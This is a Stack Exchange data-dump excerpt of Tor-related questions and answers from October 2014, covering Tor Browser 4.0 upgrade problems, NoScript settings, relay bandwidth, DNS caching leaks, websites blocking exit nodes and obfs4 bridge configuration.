  <row Id="4342" PostTypeId="2" ParentId="4334" CreationDate="2014-10-15T13:29:29.757" Score="1" Body="&lt;p&gt;If you've configured Tor already, you can just call &quot;firefox.exe&quot; from the Browser folder of TBB. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;firefox.exe &quot;http://www.google.com&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put this command into visual studio configuration and it will automatically load it. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2014-10-15T13:29:29.757" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4343" PostTypeId="2" ParentId="4341" CreationDate="2014-10-15T13:53:51.587" Score="1" Body="&lt;p&gt;It could be two things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you have a gigabit capacity, the network measures bandwidth based on the averaging of connections. So it's possible that a group of circuits could use you at gigabit capacity but if you average out the peak usage with the disconnects and non-usage, you won't see it as gigabit. This doesn't explain why it's only a few Mb though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the system is designed with an algorithm so that just because you have a ton of bandwidth, you won't get more connections. This prevents someone with an extremely large capacity, from collecting the connections of a extremely large percentage of the network. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2014-10-15T13:53:51.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4344" PostTypeId="1" AcceptedAnswerId="4375" CreationDate="2014-10-16T00:28:18.960" Score="2" ViewCount="180" Body="&lt;p&gt;The Tor manual contains a range of statistics options such as CellStatistics,  DirReqStatistics, and  ExitPortStatistics.&#xA;In the description of these options it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor writes statistics on ... to disk every 24 hours.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Where on disk does it write to? Are the files configurable?&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-10-18T14:08:26.050" Title="Torrc statistics options" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4346" PostTypeId="1" CreationDate="2014-10-16T06:28:01.240" Score="1" ViewCount="131" Body="&lt;p&gt;I have a client who is thinking of switching to Xmission (a local Utah company) for website servers, and was reading a Guardian article about Xmission's stance on privacy, and I'm very impressed. They take people's privacy very seriously and have sided with the constitution as far as I can tell, but there's one issue I'm wondering about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have a webpage that shows the requests they get and the outcome, such as but I noticed some of them say &quot;No Info&quot; and they're only for anon.xmission.com, which is a Tor &quot;exit&quot; node, whatever that means. I don't use Tor, but I'm curious what &quot;No Info&quot; means, why it's only for those requests, and what exactly Xmission is doing in regards to that. Are they complying to warrantless searches or are they being honest that they have no info on it? I'm not even sure what info exactly they don't have (contextually). They would know what their response and its outcome would be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's their outcome page: &lt;a href=&quot;http://xmission.com/transparency&quot; rel=&quot;nofollow&quot;&gt;http://xmission.com/transparency&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the Guardian article: &lt;a href=&quot;http://www.theguardian.com/world/2013/jul/09/xmission-isp-customers-privacy-nsa&quot; rel=&quot;nofollow&quot;&gt;http://www.theguardian.com/world/2013/jul/09/xmission-isp-customers-privacy-nsa&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this forum looking for Xmission Tor info; sorry if this isn't a good enough place for this question. Xmission's customer support isn't available right now and it seems I need to have an account with them just to contact them online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other sites like this exit Tor node that I should be aware of as a webserver admin?&lt;/p&gt;&#xA;" OwnerUserId="4867" LastActivityDate="2014-10-23T07:30:00.487" Title="Xmission Tor node Warrant info?" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4348" PostTypeId="1" CreationDate="2014-10-16T11:11:42.480" Score="2" ViewCount="161" Body="&lt;p&gt;I am running a tor relay on my desktop (Ubuntu 14.04) as well as using the tor browser to access the internet myself. I would like to host a web site using apache on the same computer. Are there any risks in doing this? Will the relay or my web browsing be compromised?&lt;/p&gt;&#xA;" OwnerUserId="4869" LastActivityDate="2015-01-07T21:34:22.327" Title="Tor relay and apache" Tags="|tor-browser-bundle|relays|web-hosting|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4349" PostTypeId="2" ParentId="4272" CreationDate="2014-10-16T12:15:45.163" Score="1" Body="&lt;p&gt;All details can be found in the bug report &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13332&quot; rel=&quot;nofollow&quot;&gt;#13332&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problems comes from the Secure Cookie Management of &lt;a href=&quot;http://noscript.net/&quot; rel=&quot;nofollow&quot;&gt;NoScript&lt;/a&gt;. The default installation leaves this to false, while Tor Browser sets it to true. This way not all cookie go along their way and the user can't login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://noscript.net/faq#qa6_5&quot; rel=&quot;nofollow&quot;&gt;NoScript FAQ&lt;/a&gt; recommends to either disable Secure Cookie Managment for this site or to investigate further and send the authors of NoScript a report.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-10-16T12:15:45.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4350" PostTypeId="1" CreationDate="2014-10-16T12:42:32.163" Score="4" ViewCount="688" Body="&lt;p&gt;On linux with wireshark I saw a lot of dns activity including a request for a site I am pretty sure I visited with Tor browser bundle earlier a few days ago.&#xA;Not visited with regular firefox. However dns request made without Tor browser bundle running. Coincidence ? My mistake seeing things not there ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After looking into the strange (lot of) dns activity it seemed to me it was caused by nscd. After removing nscd from the system, traffic went relatively quit as far as dns. &#xA;Also I set both&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;network.dnsCacheExpiration&lt;/strong&gt; and &#xA;&lt;strong&gt;network.dnsCacheExpirationGracePeriod&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to zero to kill any cache dns activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be that nscd can leak what sites are visited with Tor browser bundle?&#xA;Maybe illogical, but just to make sure.&lt;/p&gt;&#xA;" OwnerUserId="4870" LastEditorUserId="923" LastEditDate="2014-11-17T09:21:53.850" LastActivityDate="2015-01-08T16:10:34.177" Title="Tor &amp; dns cached" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4351" PostTypeId="1" AcceptedAnswerId="4352" CreationDate="2014-10-16T13:20:53.257" Score="2" ViewCount="10700" Body="&lt;p&gt;Have upgraded to TBB 4.0 on a Windows 8.1 box. When I start Tor the log tells me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;16/10/2014 12:43:12.829 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop. &#xA;16/10/2014 12:43:13.280 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit. &#xA;16/10/2014 12:43:13.452 [NOTICE] Tor has successfully opened a circuit. Looks like  client functionality is working. &#xA;16/10/2014 12:43:13.452 [NOTICE] Bootstrapped 100%: Done. &#xA;16/10/2014 12:43:14.506 [NOTICE] New control connection opened. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the Tor window says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Something Went Wrong!&#xA;Tor is not working in this browser.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;rather than&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Congratulations!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What have I done wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q&lt;/p&gt;&#xA;" OwnerUserId="3607" LastActivityDate="2014-10-22T00:49:38.207" Title="TBB 4.0 install - &quot;Something Went Wrong! Tor is not working in this browser.&quot;" Tags="|tor-browser-bundle|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4352" PostTypeId="2" ParentId="4351" CreationDate="2014-10-16T13:30:34.140" Score="3" Body="&lt;p&gt;How did you upgrade? The directory layout of the Tor browser bundle has changed in version 4.0, so extracting the new bundle over the old directory probably won't work. (Instead move or delete the old directory and reextract version 4.0)&lt;/p&gt;&#xA;" OwnerUserId="4872" LastActivityDate="2014-10-16T13:30:34.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4353" PostTypeId="1" AcceptedAnswerId="4415" CreationDate="2014-10-16T14:54:23.470" Score="2" ViewCount="110" Body="&lt;p&gt;I have been stress testing a Tor node I built by setting it (temporarily) as my Tor 'EntryNode' in the TBB 'torrc' file. The main test I have run (using the previous version of TBB - 3.6.6) was to listen to a free Internet radio station, radioparadise.com (RP is located in California). I could then monitor what was going on in my Tor node using 'arm'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER things are not working in TBB 4.0 as they did with the previous version of TBB (3.6.6). I can connect to RP and play the main, 192kb/s, audio stream OK. But when I switch to a 192kb/s direct server link (there are many to chose from) the Tor browser fails with a &quot;Tor has stopped working&quot; message in a box that also says &quot;Windows is checking for a solution to the problem...&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried listening with Tor Browser 4.0 on the RP direct server links below but the Tor browser fails in the same way on all of them. They worked fine with Tor Browser 3.6.6:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;192k MP3 (US): http://stream-tx3.radioparadise.com/mp3-192&#xA;192k MP3 (US): http://stream-dc1.radioparadise.com/mp3-192&#xA;192k MP3 (Europe): http://stream-uk1.radioparadise.com/mp3-192&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q&lt;/p&gt;&#xA;" OwnerUserId="3607" LastEditorUserId="3607" LastEditDate="2014-10-16T23:24:09.783" LastActivityDate="2014-10-23T19:07:38.513" Title="Is the following behaviour a new 'feature' in TBB 4.0 or a bug?" Tags="|tor-browser-bundle|configuration|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4354" PostTypeId="1" CreationDate="2014-10-16T14:45:53.863" Score="0" ViewCount="1549" Body="&lt;p&gt;There are certain sites that does not allow the user to login when they are using Tor. Why do we face this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can surf these sites, but cannot login using the Username and password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine when we are not accessing that site via Tor.&lt;/p&gt;&#xA;" OwnerDisplayName="D_S" LastEditorUserId="923" LastEditDate="2014-12-15T20:14:51.423" LastActivityDate="2014-12-15T20:14:51.423" Title="Unable to login when using Tor" Tags="|login|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4355" PostTypeId="2" ParentId="4354" CreationDate="2014-10-16T15:00:09.057" Score="1" Body="&lt;p&gt;When using Tor, you get an IP address from one of its exit nodes. This is probably a well known IP address. Tor is used by anyone wanting to be anonymous, including people who want to troll forums. Many sites therefor block these IP-adresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can get worse. I've ran Tor on a server at home, not an exit node of course, and I know at least one big site that blocks my home IP. Apparently my IP address is listed on one of the Tor black lists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while using Tor, in the future you might find that you are being blocked even when not using Tor. &lt;/p&gt;&#xA;" OwnerDisplayName="SPRBRN" LastActivityDate="2014-10-16T15:00:09.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4356" PostTypeId="2" ParentId="4354" CreationDate="2014-10-16T15:04:09.437" Score="3" Body="&lt;p&gt;Every site is a server offering a &lt;em&gt;service&lt;/em&gt;. It does so under whatever conditions it wishes to enforce; each server is its own master. If a server owner does not want to allow login for connections that come from Tor, then the server can certainly just do what you observe. It is in their technical possibilities, and there is no law against it either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some servers want to avoid any legal insecurity; for instance, if the server hosts some sort of blog with comments, the server owner may wish to keep logs of incoming IP addresses, so that he may have something to give to law enforcement agencies if some comments happen to fall within the field of said agencies (to take an over-the-top, caricatural example, imagine comments calling for pro-pedophile terrorism and holy war against the US President). This is one of the reasons why a server owner may wish not to talk any further with Tor-powered clients. Other reasons may be a perceived &quot;higher risk&quot; from such connections because Tor users are &lt;em&gt;obviously&lt;/em&gt; shifty individuals with no morals, and armed with all sorts of cyber-malviruswares that kill puppies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course there is no &quot;official&quot; list of Tor exit nodes, but some people maintain such lists automatically (e.g. see &lt;a href=&quot;https://www.dan.me.uk/dnsbl&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerDisplayName="Tom Leek" LastActivityDate="2014-10-16T15:04:09.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4357" PostTypeId="1" CreationDate="2014-10-16T21:58:34.017" Score="0" ViewCount="395" Body="&lt;p&gt;Where is Vidalia for OS X?  I remember a while ago I had Vidalia, but then updated to TBB, and Vidalia isn't in TBB? I've looked all around Tor's website for a download, but can't find it.&lt;/p&gt;&#xA;" OwnerUserId="3202" LastEditorUserId="107" LastEditDate="2015-03-11T00:23:53.730" LastActivityDate="2015-03-11T00:27:46.250" Title="Vidalia for OS X?" Tags="|vidalia|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4358" PostTypeId="1" CreationDate="2014-10-16T22:05:40.550" Score="1" ViewCount="193" Body="&lt;p&gt;I can't find just the Torbutton browser plugin for Firefox.  I would like to find and install it so I can tor-ify Firefox so that I can easily toggle Tor if I need to quickly check Facebook at school (though that's what I have my VPN for...) It would also be nice to use it as an extra layer of anonymity!&lt;/p&gt;&#xA;" OwnerUserId="3202" LastEditorUserId="923" LastEditDate="2014-12-04T15:03:14.990" LastActivityDate="2014-12-04T15:03:14.990" Title="How can I find Torbutton Standalone?" Tags="|firefox|mac|tor-button|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4359" PostTypeId="1" CreationDate="2014-10-16T22:39:05.530" Score="2" ViewCount="1536" Body="&lt;p&gt;How do I see all the scripts in the permission contextual menu so that I can allow only specific scripts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upgraded to the newest tor browser version 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With earlier tor versions, I would go to a page and I could enable or disable each individual script. I always disable scripts globally and then temporarily allow only the scripts I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I only have one option for the specific site I visit.  I often go to sites that have other scripts that I do NOT want to allow (like scripts from facebook or twitter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, the version of NoScript is the same between tor browser versions.  I have gone through and checked all NoScript settings to make sure they're the same, but the scripts still don't show up in the permissions menu.&lt;/p&gt;&#xA;" OwnerUserId="4874" LastActivityDate="2014-10-16T23:04:13.653" Title="Noscript temporarily allow behavior change with new browser version" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4360" PostTypeId="2" ParentId="4359" CreationDate="2014-10-16T23:04:13.653" Score="1" Body="&lt;p&gt;I figured it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the NoScript options.&lt;br&gt;&#xA;Go to Advanced Tab.&#xA;Click on 'Trusted' sub tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deselect / uncheck option that says: Cascade top document's permissions to 3rd party scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all scripts show up.&lt;/p&gt;&#xA;" OwnerUserId="4875" LastActivityDate="2014-10-16T23:04:13.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4361" PostTypeId="2" ParentId="1647" CreationDate="2014-10-17T00:41:08.600" Score="1" Body="&lt;p&gt;One of the important features of elliptic curve Diffie-Hellman key exchanges using a curve like Curve25519 (which was created by Daniel Bernstein and not those people at NSA) is that it offers Perfect Forward Secrecy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, NTRU doesn't provide a Diffie-Hellman-like key exchange with Perfect Forward Secrecy.  NTRU is a public key encryption scheme like RSA.  Just as people who want perfect forward secrecy in TLS have stopped using RSA for keying, people should not want to use NTRU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen another Post Quantum Scheme that seems more like Diffie-Hellman and offers security against quantum computer attacks.  It is called the Supersingular Isogeny Key Exchange.  It first came out in 2011 from the University of Waterloo.  Here is a link to its Wikipedia page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Supersingular_Isogeny_Key_Exchange&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Supersingular_Isogeny_Key_Exchange&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the designers of this key exchange posted code for this scheme at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/defeo/ss-isogeny-software/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/defeo/ss-isogeny-software/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This key exchange seems to offer quantum security, perfect forward secrecy, and relatively small key sizes compared to other quantum secure key exchanges.&lt;/p&gt;&#xA;" OwnerUserId="4877" LastActivityDate="2014-10-17T00:41:08.600" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4362" PostTypeId="1" CreationDate="2014-10-17T05:28:41.200" Score="2" ViewCount="127" Body="&lt;p&gt;Can I run Tor on a firewall sitting between my home network and my ISP and essentially force all internet traffic to/from my house through Tor? Ignoring of course that some applications still will leak identifying information, would this technically work? If some applications would still see my Tor firewall's external IP address as my PC's &quot;real&quot; address, could I then put my Tor firewall behind yet another firewall like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PC &amp;lt;--------------&gt; Tor Firewall &amp;lt;-----------------&gt; Y.A.Firewall &amp;lt;----------&gt; ISP/internet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10.0.0.2........10.0.0.1...192.168.0.2.......192.168.0.1...W.X.Y.Z&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and have programs on my PC think my &quot;real&quot; IP address was 192.168.0.2 instead of W.X.Y.Z?&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2014-11-16T06:28:06.013" Title="Tor on my network's firewall?" Tags="|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4363" PostTypeId="2" ParentId="4362" CreationDate="2014-10-17T05:43:18.070" Score="2" Body="&lt;p&gt;Ah, I see now I want an Isolating Proxy (&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/IsolatingProxy&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/IsolatingProxy&lt;/a&gt;). I've been looking through the documentation and wiki and didn't find it. Looking through posts here with the network-configuration tag did the trick. Sorry to be a bother, but perhaps someone else can find this and quickly get the answer. And apparently the &quot;Yet another firewall&quot; isn't necessary.&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2014-10-17T05:43:18.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4364" PostTypeId="1" CreationDate="2014-10-17T06:36:58.587" Score="1" ViewCount="188" Body="&lt;p&gt;I need to access the login page of this website: www.mercadolivre.com.br &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the login page: &lt;a href=&quot;https://www.mercadolivre.com/jms/mlb/lgz/login?go=http://www.mercadolivre.com.br/gz/home/logged?display=page&quot; rel=&quot;nofollow&quot;&gt;https://www.mercadolivre.com/jms/mlb/lgz/login?go=http://www.mercadolivre.com.br/gz/home/logged?display=page&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to login to this website? &lt;/p&gt;&#xA;" OwnerUserId="4880" LastEditorUserId="350" LastEditDate="2014-10-22T09:11:26.790" LastActivityDate="2015-02-20T11:23:48.623" Title="How I can access this website?" Tags="|help|blocked-services|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4365" PostTypeId="1" AcceptedAnswerId="4368" CreationDate="2014-10-17T07:21:31.230" Score="0" ViewCount="1058" Body="&lt;p&gt;Like another poster I installed tbb 4 over the existing 3 and get the error message something went wrong .... my question is how do I transfer all of my bookmarks settings and add ons from the 3 version to the 4 version please?&lt;/p&gt;&#xA;" OwnerUserId="4881" LastEditorUserId="88" LastEditDate="2014-10-18T16:39:03.127" LastActivityDate="2014-10-18T16:39:03.127" Title="TBB install something went wrong" Tags="|tor-browser-bundle|update|" AnswerCount="1" CommentCount="0" ClosedDate="2014-10-18T16:40:33.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="4368" PostTypeId="2" ParentId="4365" CreationDate="2014-10-17T13:22:38.730" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-40-released&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/tor-browser-40-released&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This release also features an in-browser updater, and a completely reorganized bundle directory structure to make this updater possible. This means that simply extracting a 4.0 Tor Browser over a 3.6.6 Tor Browser will not work.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Backup your bookmarks from 3.6.6 using the bookmark manager of Firefox.&lt;/li&gt;&#xA;&lt;li&gt;Remove TBB 3.6.6 completely.&lt;/li&gt;&#xA;&lt;li&gt;Unpack TBB 4.0.&lt;/li&gt;&#xA;&lt;li&gt;Start TBB 4.0.&lt;/li&gt;&#xA;&lt;li&gt;Import you bookmarks from the backup file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Using add-ons other then the ones provided by TBB is not recommended.&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2014-10-17T13:22:38.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4369" PostTypeId="2" ParentId="4350" CreationDate="2014-10-17T14:50:48.063" Score="1" Body="&lt;p&gt;Could have been a prefetch (dns or otherwise) (with no actual human intended visit) from the standard firefox for a link on stackexchange or other site with lot of links, coincidentally the same as visited earlier with TorBrowserBundle. So no definite alarm.&#xA;But if someone with more knowledge has a better (worst case) explanation...&lt;/p&gt;&#xA;" OwnerUserId="4885" LastEditorDisplayName="user5" LastEditDate="2015-01-08T16:10:34.177" LastActivityDate="2015-01-08T16:10:34.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4370" PostTypeId="1" CreationDate="2014-10-17T20:17:22.567" Score="1" ViewCount="227" Body="&lt;p&gt;I'm currently running Tor on Windows 7 with &lt;a href=&quot;http://proxifier.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proxifier&lt;/a&gt; and there I can set up that certain websites will connect through certain ports that's connected with Tor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AmVB8.png&quot; alt=&quot;proxification rules in proxifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that each time I go to &lt;a href=&quot;http://google.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://google.com&lt;/a&gt; I get one IP and if I set up another rule for example: &lt;a href=&quot;http://ebay.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ebay.com&lt;/a&gt; and port 9153 it will use that another IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I can go to google.com and ebay.com at the same time using different IP's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm wondering if there is any software that can do that on Unix?&#xA;I've been trying with proxychains but I can't seem to find that feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="4889" LastEditorUserId="88" LastEditDate="2014-10-18T16:47:48.080" LastActivityDate="2014-10-18T16:47:48.080" Title="Unix Proxifier? [W7/Ubuntu]" Tags="|windows|socks|pre-tor-proxy|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4371" PostTypeId="2" ParentId="4330" CreationDate="2014-10-17T20:52:59.547" Score="1" Body="&lt;p&gt;If you use a public domain name registrar, they may choose to route your web site to a third party, if for example, they are forced to do so by someone (under duress, court order, law enforcement request, or some less legitimate reason)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an .onion domain nobody can seize it, as there is no way to impersonate your private key. There is no registrar to corrupt or force.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-10-17T20:52:59.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4372" PostTypeId="1" AcceptedAnswerId="4376" CreationDate="2014-10-18T13:41:15.790" Score="1" ViewCount="963" Body="&lt;p&gt;I am working on setting up a Tor &lt;code&gt;obfs4&lt;/code&gt; bridge. If I understand it correctly &lt;code&gt;ServerTransportListenAddr&lt;/code&gt; allows me to choose a port (and an IP) to bind the Pluggable Transport to. However I also need to set an &lt;code&gt;ORPort&lt;/code&gt; and Tor logs that it does reachability tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't this defeat the whole point of using a pluggable transport and obfs4 in particular? Couldn't an attacker just look for the normal ORPort and thereby detect the bridge as such?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to forward the ORPort?&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-10-18T15:18:41.253" Title="Relation between ORPort and ServerTransportListenAddr" Tags="|configuration|pluggable-transports|obfsproxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4373" PostTypeId="2" ParentId="3689" CreationDate="2014-10-18T13:51:11.813" Score="0" Body="&lt;p&gt;If everybody uses the same path, it will be like &lt;a href=&quot;https://en.wikipedia.org/wiki/Java_Anon_Proxy&quot; rel=&quot;nofollow&quot;&gt;JAP&lt;/a&gt;. However, if everybody uses different paths,  timing attack will be easy. Performance is also a problem.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2014-10-18T13:51:11.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4374" PostTypeId="2" ParentId="4337" CreationDate="2014-10-18T13:56:19.997" Score="0" Body="&lt;p&gt;It is possible to answer this question by looking at the amount of Exit Nodes (the Tor Servers allowing exits). This statics are available for example on the &lt;a href=&quot;https://metrics.torproject.org/network.html?graph=relayflags&amp;amp;start=2014-07-20&amp;amp;end=2014-10-18&amp;amp;flag=Exit#relayflags&quot; rel=&quot;nofollow&quot;&gt;Tor Metrics page&lt;/a&gt; and &lt;a href=&quot;https://compass.torproject.org/#?exit_filter=all_relays&amp;amp;links&amp;amp;sort=cw&amp;amp;sort_reverse&amp;amp;country=&amp;amp;exits_only&quot; rel=&quot;nofollow&quot;&gt;Compass&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-10-18T13:56:19.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4375" PostTypeId="2" ParentId="4344" CreationDate="2014-10-18T14:08:26.050" Score="3" Body="&lt;p&gt;At the end of the Manual Page you will find a &lt;a href=&quot;https://www.torproject.org/docs/tor-manual-dev.html.en#_files&quot; rel=&quot;nofollow&quot;&gt;Files Section&lt;/a&gt; containing the various files Tor uses. Most of use &lt;code&gt;DataDirectory&lt;/code&gt; which can be configured via an option of the same name like &lt;code&gt;DataDirectory /some/path&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-10-18T14:08:26.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4376" PostTypeId="2" ParentId="4372" CreationDate="2014-10-18T15:18:41.253" Score="2" Body="&lt;p&gt;The attacker wouldn't be able to find you if nobody tries to connect to your ORPort. If you didn't publish the bridge descriptor, nobody will know your ORPort.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2014-10-18T15:18:41.253" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
